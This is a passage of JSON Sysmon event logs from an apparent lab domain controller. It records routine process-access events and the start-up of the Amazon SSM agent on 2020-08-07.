C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.320\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00104D140200}\r\nProcessId: 2824\r\nImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=C982D5932238041410A29A1992B365B0,SHA256=585DB96A52F0C60A6DBC0BFCE79C533D6012C8973F8FC0FAEB659F9A5303DCCF,IMPHASH=F0070935B15A909B9DC00BE7997E6112\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.320","ProcessGuid":"{90617006-3FE4-5F2D-0000-00104D140200}","Image":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=C982D5932238041410A29A1992B365B0,SHA256=585DB96A52F0C60A6DBC0BFCE79C533D6012C8973F8FC0FAEB659F9A5303DCCF,IMPHASH=F0070935B15A909B9DC00BE7997E6112","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.609\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D140200}\r\nTargetProcessId: 2824\r\nTargetImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.609","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D140200}","TargetProcessId":"2824","TargetImage":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.609\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D140200}\r\nTargetProcessId: 2824\r\nTargetImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.609","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D140200}","TargetProcessId":"2824","TargetImage":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 